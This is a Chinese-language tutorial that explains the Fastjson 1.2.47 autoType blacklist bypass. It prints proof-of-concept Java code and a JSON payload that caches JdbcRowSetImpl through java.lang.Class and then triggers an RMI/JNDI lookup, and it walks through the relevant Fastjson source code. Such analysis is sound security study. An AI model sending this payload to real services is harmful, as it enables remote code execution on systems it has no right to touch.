声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

Fastjson <= 1.2.47 POC

随着 fastjson 的更新,以往的安全漏洞都被封堵掉了,但道高一尺,魔高一丈,安全人员发现了一个通杀的漏洞,以往的封堵手段都可以绕过,算是一个里程碑的发现。

我们首先将 fastjson 升级到 1.2.47 版本,然后使用我们之前的POC进行测试。

import com.alibaba.fastjson.JSON;

public class Eval3 {

    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

不出意料的话会出现这样的错误提示信息:

autoType is not support. com.sun.rowset.JdbcRowSetImpl

这是因为 fastjson 使用了黑名单机制,禁止将 com.sun.rowset.JdbcRowSetImpl 反序列化。

下面我们使用新的 POC 进行测试,又可以利用成功了。

import com.alibaba.fastjson.JSON;

public class Eval5 {

    public static void main(String[] args) throws Exception {
        String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

payload 格式化之后如下:

{
	"a": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://localhost:1099/Exploit",
		"autoCommit": true
	}
}

Fastjson <= 1.2.47 绕过原理

在学习绕过原理之前,了解 fastjson 的基本解析流程还是有必要的,我画了一张类图仅供参考,图中只画了主要流程,还有很多类没有画。

image

上面我们已经发现用上一节构造的 payload 已经无法通过,就是因为在调用 ParserConfig.checkAutoType 返回的。

安全人员通过审计源码发现,当JSON对象的类型是java.lang.Class,并且存在 val 字段时,fastjson 会将其解析转换得到字符串(完整包名),并将 val 对应的类加载到缓存中,而 checkAutoType 方法中,如果从缓存中获取到了 Class 就会直接返回,不会再进行下面的黑名单校验。

以我们构造的 payload 为例,首先会解析

{
	"@type": "java.lang.Class",
	"val": "com.sun.rowset.JdbcRowSetImpl"
}

因为 @typejava.lang.Class 所以通过了 checkAutoType 校验,进入 com.alibaba.fastjson.serializer.MiscCodecdeserialze 方法,下面是 deserialze 方法的部分代码。

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
    JSONLexer lexer = parser.lexer;

    // 代码省略
    Object objVal;

    if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
        parser.resolveStatus = DefaultJSONParser.NONE;
        parser.accept(JSONToken.COMMA);

        if (lexer.token() == JSONToken.LITERAL_STRING) {
            if (!"val".equals(lexer.stringVal())) {
                throw new JSONException("syntax error");
            }
            lexer.nextToken();
        } else {
            throw new JSONException("syntax error");
        }

        parser.accept(JSONToken.COLON);
        // 解析 val 字段
        objVal = parser.parse();

        parser.accept(JSONToken.RBRACE);
    } else {
        objVal = parser.parse();
    }

    String strVal;

    if (objVal == null) {
        strVal = null;
    } else if (objVal instanceof String) {
        // 转换为 String 类型
        strVal = (String) objVal;
    } else {
        // 代码忽略
    }

    // 代码省略
    
    // 这个 clazz 是我们在 @type 中指定的类型,因此是满足这个条件的
    if (clazz == Class.class) {
        return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
    }

    // 代码省略
}

com.alibaba.fastjson.util.TypeUtils.java 最终调用的方法如下:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, true);
}

可以看到 cache 参数是 true

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        // 代码忽略
        try{
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    // 这里缓存了 com.sun.rowset.JdbcRowSetImpl 到 mappings 中
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    // 这里缓存了 com.sun.rowset.JdbcRowSetImpl 到 mappings 中
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

解析完第一个JSON对象后,开始解析第二个JSON对象。

{
	"@type": "com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName": "rmi://localhost:1099/Exploit",
	"autoCommit": true
}

我们直接看 com.alibaba.fastjson.parser.ParseConfig.checkAutoType 的代码:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    // 代码忽略 ...

    if (clazz == null) {
        // 这里从 mapping 中通过类名称获取类,因为在处理第一个JSON对象的时候已经把 com.sun.rowset.JdbcRowSetImpl put 进去了,因此这里一定是可以获取到 Class 的
        clazz = TypeUtils.getClassFromMapping(typeName);
    }
    
    // 不会进入这个判断
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }

    // 进入这个判断
    if (clazz != null) {
        // 根据参数调用得出 expectClass 是 null,也不会进入这个判断
        if (expectClass != null
                && clazz != java.util.HashMap.class
                && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
        // 直接返回 Class
        return clazz;
    }

    // 代码省略,下面的黑名单判断已经不重要了
    return clazz;
}

可以看到在缓存中获取到 Class 对象后直接 return 出去了,下面的黑名单校验并没有进行,之后的逻辑就是构造实例,发出 JNDI 请求,在此不再赘述了。